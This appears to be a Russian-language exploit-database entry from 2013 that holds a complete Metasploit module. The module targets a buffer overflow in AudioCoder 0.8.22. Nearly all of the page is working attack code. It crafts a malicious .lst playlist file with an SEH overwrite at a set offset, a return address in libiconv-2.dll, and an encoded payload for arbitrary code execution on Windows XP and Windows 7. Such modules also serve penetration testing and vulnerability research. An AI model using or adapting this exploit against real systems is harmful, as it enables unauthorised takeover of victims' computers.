AudioCoder (.lst) - Buffer Overflow (msf) Exploit

Свойства

Дата публикации:
02.07.2013
Цель:
AudioCoder 0.8.22
Тип воздействия:
Компрометация системы

Код

require 'msf/core'
   
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
   
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh
   
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AudioCoder .lst Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
        occurs when adding an .lst, allowing arbitrary code execution with the privileges
        of the user running AudioCoder. This module has been tested successfully on
        AudioCoder 0.8.22 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'onying', # Vulnerability discovery and PoC
          'Asesino04' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', 'N/A' ],
          [ 'EDB', '26448' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'           => 6596,
          'BadChars'        => "\x00\x5c\x40\x0d\x0a",
          'DisableNops'     => true,
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'AudioCoder 0.8.22 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x66011b56, # libiconv-2.dll
              'Offset'  => 765
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'juin 01 2013',
      'DefaultTarget'  => 0))
   
    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
      ], self.class)
   
  end
   
  def exploit
    buffer = "http://"
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
   
    file_create(buffer)
  end
end
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